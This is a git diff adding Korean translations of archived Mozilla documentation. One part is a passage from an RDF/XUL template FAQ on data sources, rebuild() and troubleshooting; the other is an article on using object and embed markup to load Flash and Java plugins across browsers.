+<h3 id="XUL.EC.9D.98_RDF.2FXML.EC.9D.84_.EC.9C.84.ED.95.9C_.EB.B3.B4.EC.95.88_.EB.AA.A8.EB.8D.B8.EC.9D.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.EC.9A.94.3F" name="XUL.EC.9D.98_RDF.2FXML.EC.9D.84_.EC.9C.84.ED.95.9C_.EB.B3.B4.EC.95.88_.EB.AA.A8.EB.8D.B8.EC.9D.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.EC.9A.94.3F">XUL의 RDF/XML을 위한 보안 모델은 무엇인가요?</h3>
+<p>"인증된" URL(현재는 <code>chrome:</code>로 시작하는 모든 URL)로 부터 로드된 XUL은 XUL 템플릿의 <code>datasources</code> 속성에 지정된 <em>어떠한</em> 데이터 소스 URI라도 지정할 수 있습니다.</p>
+<p>"인증되지 않은" URL로 부터 로드된 XUL은 XUL 문서가 있던 동일한 (Java에서 말하는 의미의) <em>코드베이스</em> 에 있는 RDF/XML 문서만을 지정할 수 있습니다. 인증되지 않은 XUL에서 "특별한" (즉, <code>rdf:</code> 로 시작하는) 데이터 소스를 로드할 수는 없습니다.</p>
+<h3 id="XUL_.ED.85.9C.ED.94.8C.EB.A6.BF.EC.97.90_.EC.96.B4.EB.96.BB.EA.B2.8C_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.A5.BC_.EC.B6.94.EA.B0.80.ED.95.98.EB.82.98.EC.9A.94.3F" name="XUL_.ED.85.9C.ED.94.8C.EB.A6.BF.EC.97.90_.EC.96.B4.EB.96.BB.EA.B2.8C_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.A5.BC_.EC.B6.94.EA.B0.80.ED.95.98.EB.82.98.EC.9A.94.3F">XUL 템플릿에 어떻게 데이터 소스를 추가하나요?</h3>
+<p>XUL 템플릿을 생성할 때 <code>datasources</code> 속성을 통해 "암시적으로" 데이터 소스를 명시하는 방법이 가능하지만, XUL이 로드될 때 <em>까지</em> 어떤 데이터 소스를 로드해야 할지 결정할 수 없는 경우도 있을 것입니다. 예를 들어, 당신의 XUL이 <code>onload</code> 핸들러에서 표시할 데이터 소스를 결정하는 경우나 특정한 사용자의 액션에 반응하여 데이터 소스를 추가해야 하는 경우 등이 있습니다.</p>
+<p>다음은 이러한 동작을 하는 간단한 예제입니다. 아래와 같은 XUL이 있다고 해 봅시다.</p>
+<pre class="eval">&lt;window xmlns="<a class="external" href="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" rel="freelink">http://www.mozilla.org/keymaster/gat...re.is.only.xul</a>"&gt;
+  ...
+  <span class="highlightgreen">&lt;tree id="my-tree" datasources="rdf:null"&gt;
+    ...
+  &lt;/tree&gt;</span>
+  ...
+&lt;/window&gt;
+</pre>
+<p>이제 어떤 식으로든 (즉, <a href="#How_do_I_create_a_datasource_from_an_RDF.2FXML_file.3F">이러한</a> 방식 중의 하나로) 데이터 소스를 얻었다고 가정할 때, 다음의 코드는 이 데이터 소스를 템플릿에 <em>추가</em> 하는 방법을 보여줍니다. 템플릿은 새로 추가된 데이터 소스의 컨텐츠를 기반으로 자신을 재생성(rebuild)해야 합니다.</p>
+<pre class="eval">var ds = <span class="highlightblue">/* 어떤 식으로든 얻었다고 가정합니다! */</span>;
+<span class="highlightblue">// 'my-tree'에 대한 DOM 원소를 얻습니다.</span>
+var tree = document.getElementById('my-tree');
+<span class="highlightblue">// 거기에 데이터 소스를 추가합니다.</span>
+tree.database.AddDataSource(ds);
+<span class="highlightblue">// 강제 재생성하도록 직접 rebuild() 메소드를 호출합니다.</span>
+tree.builder.rebuild();
+</pre>
+<p><code>datasources</code> 속성을 가진 XUL 원소는 자동으로 <code>database</code> 속성과 <code>builder</code> 속성을 가지게 됩니다. <code>database</code> 속성은 템플릿에서 생성된 데이터 소스를 포함하는 <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFCompositeDataSource.idl"><code>nsIRDFCompositeDataSource</code></a> 객체를 참조합니다.</p>
+<p><code>builder</code> 속성은 템플릿 컨텐츠의 상태를 유지하는 "builder" 인 <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIXULTemplateBuilder.idl"><code>nsIXULTemplateBuilder</code></a> 객체를 참조합니다.</p>
+<p><b>참고!</b> <code>rdf:null</code> 데이터 소스: 이것은 특별한 데이터 소스로서 아직은 데이터 소스가 없지만 나중에 추가할 것임을 알려주는 역할을 합니다. 이 데이터 소스를 지정하면 <code>database</code> 속성과 <code>builder</code> 속성이 생기게 되지만 <code>database</code> 속성은 아무 것도 없는 채로 남아있습니다.</p>
+<h3 id="DOM_API.EB.A5.BC_.EC.9D.B4.EC.9A.A9.ED.95.98.EC.97.AC_XUL_.ED.85.9C.ED.94.8C.EB.A6.BF_.EB.AC.B8.EC.84.9C.EB.A5.BC_.EB.8B.A4.EB.A3.B0_.EC.88.98_.EC.9E.88.EB.82.98.EC.9A.94.3F" name="DOM_API.EB.A5.BC_.EC.9D.B4.EC.9A.A9.ED.95.98.EC.97.AC_XUL_.ED.85.9C.ED.94.8C.EB.A6.BF_.EB.AC.B8.EC.84.9C.EB.A5.BC_.EB.8B.A4.EB.A3.B0_.EC.88.98_.EC.9E.88.EB.82.98.EC.9A.94.3F">DOM API를 이용하여 XUL 템플릿 문서를 다룰 수 있나요?</h3>
+<p>네, 가능합니다. 당신은 룰을 추가 및 삭제하거나 룰의 컨디션이나 컨텐츠를 변경할 수 있습니다. 사실, <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/">W3C DOM API</a>를 이용하여 템플릿에 대한 <em>모든</em> 것들을 변경할 수 있습니다.</p>
+<p>한가지 주의할 사항은, 이렇게 변경한 내용이 적용되도록 (XUL 템플릿에 <a href="#How_do_I_add_a_datasource_to_a_XUL_template.3F">데이터 소스를 추가</a>할 때와 마찬가지로) <code>rebuild()</code> 메소드를 반드시 호출해야 한다는 것입니다.</p>
+<h3 id=".ED.85.9C.ED.94.8C.EB.A6.BF.EC.97.90_.EC.9D.BC.EB.B0.98_.ED.85.8D.EC.8A.A4.ED.8A.B8.EB.A5.BC_.EC.96.B4.EB.96.BB.EA.B2.8C_.EC.82.BD.EC.9E.85.ED.95.98.EB.82.98.EC.9A.94.3F" name=".ED.85.9C.ED.94.8C.EB.A6.BF.EC.97.90_.EC.9D.BC.EB.B0.98_.ED.85.8D.EC.8A.A4.ED.8A.B8.EB.A5.BC_.EC.96.B4.EB.96.BB.EA.B2.8C_.EC.82.BD.EC.9E.85.ED.95.98.EB.82.98.EC.9A.94.3F">템플릿에 일반 텍스트를 어떻게 삽입하나요?</h3>
+<p>템플릿 내에 일반 텍스트(plaintext)를 삽입하기 위해서는 <code>&lt;text&gt;</code> 원소를 이용합니다.</p>
+<pre class="eval">&lt;template&gt;
+  &lt;rule&gt;
+    &lt;conditions&gt;...&lt;/condition&gt;
+    &lt;bindings&gt;...&lt;/bindings&gt;
+    &lt;action&gt;
+      <span class="highlightgreen">&lt;text value="?some-variable" /&gt;</span>
+    &lt;/action&gt;
+  &lt;/rule&gt;
+&lt;/template&gt;
+</pre>
+<p>위의 템플릿은 여러 개의 텍스트 노드를 가지는(runs?) 컨텐츠 모델을 생성할 것 입니다.</p>
+<h2 id=".ED.8A.B8.EB.9F.AC.EB.B8.94.EC.8A.88.ED.8C.85" name=".ED.8A.B8.EB.9F.AC.EB.B8.94.EC.8A.88.ED.8C.85">트러블슈팅</h2>
+<p>필드에서 얻은 트릭과 팁들을 소개합니다.</p>
+<h3 id="RDF.2FXML_.ED.8C.8C.EC.9D.BC.EC.9D.B4_.EB.A1.9C.EB.93.9C.EB.90.98.EC.A7.80_.EC.95.8A.EC.95.84.EC.9A.94" name="RDF.2FXML_.ED.8C.8C.EC.9D.BC.EC.9D.B4_.EB.A1.9C.EB.93.9C.EB.90.98.EC.A7.80_.EC.95.8A.EC.95.84.EC.9A.94">RDF/XML 파일이 로드되지 않아요</h3>
+<p>웹 서버로부터 RDF/XML 파일이 로드되지 않는 대부분의 이유는 MIME 타입이 잘못 설정되어 있는 경우입니다. 당신이 사용하는 서버가 RDF/XML 파일을 <code>text/xml</code>(추천) 이나 <code>text/rdf</code>(bogus) 형식으로 전달하는지 확인하십시오.</p>
+<p>W3C의 RDF 코어 워킹 그룹은 application/rdf+xml 형식을 등록하였지만 아직 Mozilla 코드는 이를 인식하지 못한다는 것을 명심하십시오. (이에 대한 버그가 보고되어 있나요? -- <a class="link-mailto" href="mailto:danbri-mozilla@rdfweb.org">danbri</a>)</p>
+<p>원격지에서 로드되는 XUL과 RDF에 대한 또다른 잠재적인 문제점은 Mozilla의 보안 규칙을 변경해야 한다는 것입니다(아래의 예제를 참조하세요). 만약 MIME 타입이 정확한데도, XUL이 RDF를 로드하지 않는다면 이 문제를 고려해 보아야 합니다.</p>
+<p>RDF/XML 파일이 올바른지 검사하기 위해 <code>rdfcat</code>와 <code>rdfpoll</code> 유틸리티를 사용할 수 있습니다. 이 프로그램들은 Windows에서는 기본으로 설치되어 있으며, Linux에서는 <code>configure --enable-tests</code> 옵션을 주어 설치할 수 있습니다.</p>
+<ul>
+  <li><code><a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/tests/rdfcat/rdfcat.cpp">rdfcat</a> <i>url</i></code><br>
+    파라미터로 주어진 URL을 통해 RDF/XML 파일을 읽은 후, 콘솔 상에 "cat" 합니다. 이를 이용하여 당신이 작성한 RDF/XML이 Mozilla에서 올바르게 해석되는지 검사할 수 있습니다.</li>
+  <li><code><a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/tests/rdfpoll/rdfpoll.cpp">rdfpoll</a> <i>url</i> [<i>interval</i>]</code><br>
+    RDF/XML 파일을 가리키는 URL을 파라미터로 취합니다. 그리고 선택적인(optional) <em>poll interval</em> 파라미터는 URL을 갱신(re-load)할 시간을 지정합니다. 각각의 로드 시 마다 RDF/XML 파일의 현재 내용과 이전의 내용과의 <em>차이점</em>을 나타내는 출력을 생성해 냅니다. 이것은 시간마다 새로 생성되는 RDF/XML 파일의 디버깅에 유용하게 사용됩니다.</li>
+</ul>
+<p>이 두 프로그램은 로드와 실행 과정이 느립니다(하지만 <em>결국은</em> 실행됩니다). 이 프로그램들은 Mozilla 와 동일하게 XPCOM을 초기화하고 URL을 로드하고 처리하도록 Necko를 실행시킵니다.</p>
+<h3 id="AddDataSource_.EB.A9.94.EC.86.8C.EB.93.9C.EB.A5.BC_.ED.98.B8.EC.B6.9C.ED.95.B4.EB.8F.84_.EC.95.84.EB.AC.B4_.EA.B2.83.EB.8F.84_.EB.B0.94.EB.80.8C.EC.A7.80_.EC.95.8A.EC.95.84.EC.9A.94." name="AddDataSource_.EB.A9.94.EC.86.8C.EB.93.9C.EB.A5.BC_.ED.98.B8.EC.B6.9C.ED.95.B4.EB.8F.84_.EC.95.84.EB.AC.B4_.EA.B2.83.EB.8F.84_.EB.B0.94.EB.80.8C.EC.A7.80_.EC.95.8A.EC.95.84.EC.9A.94.">AddDataSource 메소드를 호출해도 아무 것도 바뀌지 않아요.</h3>
+<p>템플릿 빌더는 자신의 <code>database</code> 속성에 대해 <code>AddDataSource</code> 혹은 <code>RemoveDataSource</code> 메소드를 호출해도 자동적으로 내용을 갱신하지 <em>않습니다</em>. 템플릿의 내용을 갱신하기 위해서는 반드시 <code><i>elt.</i>builder.rebuild()</code> 메소드를 직접 호출해야 합니다.</p>
+<p>그 이유는, <code>database</code> 내에 여러 개의 데이터 소스가 추가되는 경우 매번 갱신이 일어나지 않도록 하기 위함입니다.</p>
+<h2 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h2>
+<h3 id=".28.EC.8B.A4.EC.A0.9C.EB.A1.9C_.EB.8F.99.EC.9E.91.ED.95.98.EB.8A.94.29_.EC.98.88.EC.A0.9C.EB.A5.BC_.EC.96.B4.EB.94.94.EC.84.9C_.EC.B0.BE.EC.9D.84_.EC.88.98_.EC.9E.88.EB.82.98.EC.9A.94.3F" name=".28.EC.8B.A4.EC.A0.9C.EB.A1.9C_.EB.8F.99.EC.9E.91.ED.95.98.EB.8A.94.29_.EC.98.88.EC.A0.9C.EB.A5.BC_.EC.96.B4.EB.94.94.EC.84.9C_.EC.B0.BE.EC.9D.84_.EC.88.98_.EC.9E.88.EB.82.98.EC.9A.94.3F">(실제로 동작하는) 예제를 어디서 찾을 수 있나요?</h3>
+<p><a class="external" href="http://www.mozilla.org/rdf/doc/examples.html">여기</a>에서 몇가지 예제들을 찾아볼 수 있습니다. 이 중 몇가지는 사인된(signed) 스크립트를 포함하고 있고 HTTP에서 직접 실행시킬 수 있습니다.</p>
+<p>(Mozilla의 라이브 RDF 피드(feed) 를 담당하는)<a class="link-https" href="https://bugzilla.mozilla.org/data/duplicates.rdf"><code>duplicates.rdf</code></a> 와 <a class="link-https" href="https://bugzilla.mozilla.org/duplicates.xul"><code>duplicates.xul</code></a> 도 살펴보기 바랍니다. 이것들을 실행시키기 위해서는 Mozilla의 <a href="ko/Bypassing_Security_Restrictions_and_Signing_Code">보안 모델</a>을 완화시켜야 합니다. 이를 위해 당신의 환경 설정(preference) 파일에 다음의 줄을 추가하십시오. (먼저 Mozilla를 종료시켜야 합니다. 그렇지 않으면 Mozilla가 종료될 때 당신의 환경 설정 파일을 덮어쓰게 될 것입니다.)</p>
+<pre class="eval">user_pref("signed.applets.codebase_principal_support", true);
+</pre>
+<p>Mozilla는 <code>duplicates.xul</code> 내의 스크립트에 XPConnect에 접근할 권한을 줄 것인지 물어볼 것입니다. '예'를 선택하십시오.</p>
+<p>현재, Mozilla는 권한없이 RDF 인터페이스와 서비스에 접근하는 것을 허용하지 않습니다. 자세한 내용은 <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=122846">122846</a>번 버그를 참조하십시오.</p>
+<p>더 추가하고 싶은 예제가 있다면 그 링크를 <a class="external" href="http://rdfweb.org/people/danbri/">danbri</a>, mozilla-rdf 혹은 waterson에게 이메일로 보내기 바랍니다!</p>
+<h2 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h2>
+<ol>
+  <li>RDF 와 그에 관련된 기술들에 대해서는 <a class="external" href="http://www.w3.org/RDF/">W3C RDF</a> 페이지와 <a class="external" href="http://www.w3.org/2001/sw/">Semantic Web</a> 페이지를 살펴보기 바랍니다.</li>
+</ol>
+<h2 id=".EA.B3.B5.ED.97.8C" name=".EA.B3.B5.ED.97.8C">공헌</h2>
+<ul>
+  <li>2006-09-07 에 <a>김남형</a>이 번역함</li>
+  <li>2002-07-02 에 <a class="external" href="http://rdfweb.org/people/danbri/">danbri</a>가 예제 부분을 추가함</li>
+  <li>원격 XUL / 보안 정책에 대해 Myk Melez가 조언을 해 줌</li>
+</ul>
+<p>저자: <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a></p>
+<div class="originaldocinfo">
+  <h2 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">원본 문서 정보</h2>
+  <ul>
+    <li>저자: <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a></li>
+    <li>최종 변경일: 2004-12-22</li>
+    <li>저작권 정보: Copyright (C) <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a></li>
+  </ul>
+</div>
diff --git a/files/ko/archive/web_standards/using_the_right_markup_to_invoke_plugins/index.html b/files/ko/archive/web_standards/using_the_right_markup_to_invoke_plugins/index.html
new file mode 100644
index 0000000000..d7539a262f
--- /dev/null
+++ b/files/ko/archive/web_standards/using_the_right_markup_to_invoke_plugins/index.html
@@ -0,0 +1,263 @@
+---
+title: Using the Right Markup to Invoke Plugins
+slug: Archive/Web_Standards/Using_the_Right_Markup_to_Invoke_Plugins
+tags:
+  - HTML
+  - Plugins
+translation_of: Archive/Web_Standards/Using_the_Right_Markup_to_Invoke_Plugins
+---
+<p>이 글은 올바른 HTML을 사용하여 플러그인을 불러오는 방법에 대한 글입니다. 여기서 object 요소(element)와 embed 요소에 대해 살펴볼 것이고, 웹 페이지에서 Java를 불러오는 가장 적당한 HTML 사용법에 대해서도 자세히 다룰 것입니다.</p>
+
+<h3 id="object_.EC.9A.94.EC.86.8C:_W3C_.ED.91.9C.EC.A4.80.EA.B3.BC_.ED.81.AC.EB.A1.9C.EC.8A.A4_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80_.EC.9D.B4.EC.8A.88" name="object_.EC.9A.94.EC.86.8C:_W3C_.ED.91.9C.EC.A4.80.EA.B3.BC_.ED.81.AC.EB.A1.9C.EC.8A.A4_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80_.EC.9D.B4.EC.8A.88">object 요소: W3C 표준과 크로스 브라우저 이슈</h3>
+
+<p>object 요소는 HTML 4.01 스펙의 일부이며 플러그인을 불러오는 방법으로 권장되는 방식입니다. object 요소의 사용법은 이 절에서 간단히 이야기할 경고 몇 가지에 영향을 받습니다.</p>
+
+<p>전통적으로 object 요소는 Microsoft Internet Explorer와 Netscape 7 같은 Mozilla 기반 브라우저에서 서로 다르게 사용되었습니다. IE에서는 ActiveX 기술로 만든 플러그인을 불러오는데 object 요소를 사용했습니다. 여기 그러한 예제가 있습니다.</p>
+
+<pre>&lt;!-- IE ONLY CODE --&gt;
+&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"
+width="366" height="142" id="myFlash"&gt;
+    &lt;param name="movie" value="javascript-to-flash.swf" /&gt;
+    &lt;param name="quality" value="high" /&gt;
+    &lt;param name="swliveconnect" value="true" /&gt;
+&lt;/object&gt;
+</pre>
+
+<p>위의 예제에서 object 요소의 <code>classid</code> 속성은 "clsid:"라는 URN을 지정하고 있는데, 이것은 ActiveX 컨트롤의 유일한 식별자("D27..."로 시작하는 문자열)입니다. 사실 이 식별자는 Macromedia Flash 플러그인의 식별자입니다. 이런 방식으로 플러그인을 불러오려면 사용하려는 플러그인의 식별자를 알아야 합니다. <code>codebase</code> 속성은 ActiveX 컨트롤을 포함하는 CAB 파일을 얻을 수 있는 위치를 가리킵니다. codebase 속성은 <strong>획득 메커니즘</strong> 즉, 컨트롤이 존재하지 않을 경우 이를 얻을 수 있는 방법을 알려주기 위해 사용되었습니다. Flash ActiveX 컨트롤이 설치되지 않았다면 IE는 codebase 속성에 지정된 URL로 가서 ActiveX 컨트롤을 받을 것입니다. object 요소의 자식으로 추가된 <code>param</code> 요소들은 Flash 플러그인의 설정 매개변수를 지정하고 있습니다. 예를 들어, the <code>param name="movie"</code>는 Flash 플러그인이 재생할 SWF 파일의 위치를 지정합니다.</p>
+
+<p>Netscape 7.1은 Microsoft® Windows Media Player의 경우 object 요소로 ActiveX를 불러오는 이런 방식을 지원합니다. Netscape 7.1에서 지원하는 유일한 ActiveX 컨트롤이 Windows Media Player입니다. 자세한 내용은 <a href="ko/Windows_Media_in_Netscape">다른 글</a>에서 다루고 있습니다.</p>
+
+<p>Netscape 7같은 브라우저는 위와 같은 방법으로 마크업을 사용해서는 Flash 플러그인을 불러올 수 없습니다. Netscape7은 ActiveX과 ActiveX 기반 컴포넌트 호출을 지원하지 않기 때문입니다. Netscape 7.1이 예외적으로 Windows Media Player를 지원하는 것입니다. Mozilla 기반 브라우저는 Netscape 플러그인 아키텍처를 지원합니다. 이 아키텍처는 ActiveX 같은 COM 기반이 아니므로 유일한 식별자를 이용해서 불러내는 것이 아니라 MIME 형식을 기반으로 플러그인을 불러옵니다. Mozilla 기반 브라우저는 MIME 형식을 이용한 object 요소를 지원합니다. Macromedia Flash 플러그인을 불러오는 예제가 아래에 있습니다.</p>
+
+<pre>&lt;object type="application/x-shockwave-flash" data="javascript-to-flash.swf"
+width="366" height="142" id="myFlash"&gt;
+    &lt;param name="movie" value="javascript-to-flash.swf" /&gt;
+    &lt;param name="quality" value="high" /&gt;
+    &lt;param name="swliveconnect" value="true" /&gt;
+    &lt;p&gt;You need Flash -- get the latest version from
+    &lt;a href= "http://www.macromedia.com/downloads/"&gt;here.&lt;/a&gt;&lt;/p&gt;
+&lt;/object&gt;
+</pre>
+
+<p>위 예제에서 <code>application/x-shockwave-flash</code>는 Flash의 MIME 형식입니다. 이것은 Mozilla 기반 브라우저에서 Netscape의 Flash 아키텍처를 불러옵니다. data 속성은 재생할 SWF 파일을 지정하고 있습니다. 설정 매개변수(<code>param</code> 요소들)는 IE와 Mozilla 기반 브라우저에서 동일하게 사용됩니다. 사실 위의 사용 방법은 IE에서도 잘 동작합니다. IE는 ActiveX 스타일의 <code>classid</code> 호출 뿐만 아니라 Flash 같은 특정 MIME 형식을 이용한 호출도 이해하기 때문입니다.</p>
+
+<p>MIME 형식을 이용해서 Flash 플러그인을 불러오는 방식은 IE와 Netscape 7에서 모두 잘 동작하기 때문에 위의 방법을 두 브라우저에서 동일하게 사용해도 됩니다. 그러나 <code>object</code> 요소를 Mozilla 기반 브라우저와 IE에서 사용할 때 우리가 반드시 명심해야할 몇 가지 주의 사항들이 있습니다.</p>
+
+<h4 id=".EC.A3.BC.EC.9D.98_.EC.82.AC.ED.95.AD" name=".EC.A3.BC.EC.9D.98_.EC.82.AC.ED.95.AD">주의 사항</h4>
+
+<ul>
+ <li>위 예제에서 살펴본 방식을 이용하여 object 요소를 양쪽 브라우저에서 사용할 경우, <strong>양쪽 브라우저에 동일한 "획득 메커니즘"을 제공하지는 못합니다</strong>. ActiveX 컴포넌트를 포함하는 서명된 CAB 파일을 지정하기 위해서 <code>codebase</code> 속성을 사용할 수 없습니다. Netscape 7같은 Mozilla 기반 브라우저에서는 그 방법이 동작하지 않기 때문입니다. 게다가 IE에서 <code>codebase</code>를 획득 메커니즘으로 사용하는 방식은 HTML 4.01 스펙에 완벽히 부합하는 것이 아닙니다. HTML 4.01에서 <code>codebase</code> 속성은 <code>data</code>, <code>archive</code>, <code>classid</code> 속성에 지정된 URN을 한정(qualify)하는데 사용되어야 한다고 말하고 있습니다. Mozilla 소스 코드에 기반한 새로운 Netscape 브라우저에서는 존재하지 않는 플러그인을 얻을 수 있는 위치를 지정하는 특별한 <code>param</code> 요소를 지원할 계획이지만 Netscape 7에는 그런 기능이 없습니다. 그 기능은 Mozilla <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=167601" title='FIXED: [object] Support &amp;amp;lt;param name="PLUGINURL" ...>'>bug 167601</a>에서 논의중입니다.</li>
+</ul>
+
+<ul>
+ <li><strong>IE는 HTML 4.01 스펙을 따르는 중첩된</strong> <code>object</code> <strong>요소를 제대로 표시하지 않습니다</strong>. 스펙에 따르면 우리는 object 요소를 중첩시킬 수 있고, 브라우저는 가장 바깥쪽 요소를 표시할 수 있으면 진행을 멈추고, 그렇지 않으면 표시할 수 있는 요소를 찾을 때까지 계속해서 안쪽 요소를 찾아야 합니다. IE는 중첩된 object 요소들을 연속으로 나열된 object 요소처럼 표시합니다. 그러므로 아래의 예제는 IE가 똑같은 Flash 애니메이션을 두 번 표시하게 만듭니다.</li>
+</ul>
+
+<pre>&lt;!-- 의도한 대로 동작하지 않는 사용법입니다 --&gt;
+&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"
+width="366" height="142" id="myFlash"&gt;
+    &lt;param name="movie" value="javascript-to-flash.swf" /&gt;
+    &lt;param name="quality" value="high" /&gt;
+    &lt;param name="swliveconnect" value="true" /&gt;
+
+	&lt;object type="application/x-shockwave-flash" data="javascript-to-flash.swf"
+	 width="366" height="142" id="myFlashNSCP"&gt;
+		&lt;param name="movie" value="javascript-to-flash.swf" /&gt;
+    		&lt;param name="quality" value="high" /&gt;
+    		&lt;param name="swliveconnect" value="true" /&gt;
+		&lt;p&gt;You need Flash -- get the latest version from
+		 &lt;a href="http://www.macromedia.com/downloads/"&gt;
+		here.&lt;/a&gt;&lt;/p&gt;
+	&lt;/object&gt;
+
+&lt;/object&gt;
+</pre>
+
+<ul>
+ <li><strong>웹 페이지를 만드는 사람들은 Mozilla 기반 브라우저에서<em>획득 메커니즘</em>을 지정해야 합니다. <code>codebase</code> 속성을 사용해서 플러그인을 받을 수 있는 위치를 지정하지 않는다면 브라우저가 자동으로 플러그인을 받아오는 일은 없을 것입니다.</strong> <code>codebase</code>를 지정하지 않았는데 플러그인이 설치되어 있지 않다면 브라우저는 대체 텍스트만 표시할 것입니다. Netscape 플러그인 검색 서비스를 이용해서 플러그인을 받아오거나 하지 않을 것이라는 말입니다. 이런 동작이 HTML 4.01 스펙에 어긋나는 것은 아니지만, 웹 페이지를 만들 때 힘들게<em>획득 메커니즘</em>을 지정해야만 합니다. 최소한 없는 플러그인을 사용자들이 어디에서 받을 수 있는지 알려주는 대체 텍스트를 object 요소에 넣어야만 합니다. 자동으로 플러그인을 받는 편리한 기능을 추가하는 일은 Mozilla 오픈 소스 코드의 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=180411" title="Plugin Finder Service is not invoked for OBJECT element">bug 180411</a>의 주제 입니다.</li>
+</ul>
+
+<ul>
+ <li><strong>몇몇 플러그인은 Mozilla 기반 브라우저에서 이해하지 못하는 <code>param</code> 요소가 있습니다</strong>. 한 예로 Macromedia Flash Player 플러그인 버전 6r.47까지는 Flash 플러그인이 재생해야 할 애니메이션 위치를 지정하는 <code>&lt;param name="movie" value="animation.swf"&gt;</code> param 요소를 이해하지 못했습니다. 이 문제를 피하려면 다음과 같이 object 요소의 data 속성을 사용해야 합니다. <code>&lt;object type="application/x-shockwave-flash" data="animation.swf"..../&gt;</code>. Flash 플러그인이 이 <code>param</code> 요소를 이해하지 못하는 문제는 Macromedia Flash Player의 버그이며 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=180378" title='macromedia.com - Flash ought to support &amp;amp;lt;param name="movie..."> in addition to data attribute'>bug 180378</a>.</li>
+</ul>
+
+<h4 id=".EA.B6.8C.EC.9E.A5_.EC.82.AC.ED.95.AD" name=".EA.B6.8C.EC.9E.A5_.EC.82.AC.ED.95.AD">권장 사항</h4>
+
+<p>우리가 IE에서는 object 요소를 중첩해서 쓰지 못한다는 단점과 모든 브라우저에서 문제없이 동작하도록 하는 단순한 <code>object</code> 요소의 사용법은 없다는 단점을 극복하기 위한 가장 좋은 방법은 아키텍처에 따라 동적으로 <code>object</code> 요소를 동적으로 생성하도록 하는 것입니다. 예를 들어, IE 같이 ActiveX를 지원하는 브라우저에서는 classid 속성을 이용해서 <code>object</code> 요소를 만들고, Netscape 플러그인 아키텍처를 지원하는 브라우저에서는 MIME 형식을 사용하는 것입니다. 여기에 예제 JavaScript가 있습니다.</p>
+
+<pre>if (window.ActiveXObject)
+{
+
+// ActiveX를 지원하는 브라우저
+// IE용 OCX 다운로드 URL을 포함한
+// object 요소를 만듬
+
+document.write('&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"');
+document.write(' codebase="http://download.macromedia.com');
+document.write('/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"');
+document.write(' width="366" height="142" id="myFlash"&gt;');
+document.write(' &lt;param name="movie" value="javascript-to-flash.swf" /&gt;');
+document.write(' &lt;param name="quality" value="high" /&gt;');
+document.write(' &lt;param name="swliveconnect" value="true" /&gt;');
+document.write('&lt;\/object&gt;');
+
+}
+
+else
+{
+
+// Netscape 플러그인 API를 지원하는 브라우저
+
+document.write('&lt;object id="myFlash" data="javascript-to-flash.swf"');
+document.write(' type="application/x-shockwave-flash"');
+document.write(' width="366" height="142"&gt;');
+document.write('&lt;param name="movie" value="javascript-to-flash.swf" /&gt;');
+document.write('&lt;param name="quality" value="high" /&gt;');
+document.write('&lt;param name="swliveconnect" value="true" /&gt;');
+document.write('&lt;p&gt;You need Flash for this.');
+document.write(' Get the latest version from');
+document.write(' &lt;a href="http://www.macromedia.com/downloads"&gt;here&lt;\/a&gt;.');
+document.write('&lt;\/p&gt;');
+document.write('&lt;\/object&gt;');
+
+}
+</pre>
+
+<p><a class="external" href="http://www.alistapart.com/articles/flashsatay/">Flash Satay</a>도 살펴 보시기 바랍니다.</p>
+
+<h4 id="object_.EC.9A.94.EC.86.8C.EC.99.80_Java" name="object_.EC.9A.94.EC.86.8C.EC.99.80_Java">object 요소와 Java</h4>
+
+<p>Netscape 6.x, Netscape 7, CompuServe 7 같은 Mozilla 기반 브라우저는 <a class="external" href="http://java.sun.com/j2se/downloads.html">Sun에서 제공하는 Java 플러그인</a>을 포함하고 있습니다. Netscape 6.x이나 Netscape 7을 설치하는 사용자는 Java를 설치할지 말지 선택할 수 있습니다. Netscape Communicator 4.x와는 달리 Netscape 6.x와 7은 기본 Java 가상 머신을 가지고 있지 않으며 Sun의 플러그인에 의존합니다. Netscape Communicator 4.x가 사용되던 시절에는 Netscape Communications가 Java 1.5.0과 그 하위 버전을 지원하는 Java 가상 머신을 개발했습니다. 이제 Netscape 6과 7에서 Java 가상 머신은 Sun의 플러그인입니다. Netscape는 Netscape Java 가상 머신을 더이상 개발하지 않으며, 브라우저와 함께 제공하지도 않습니다.</p>
+
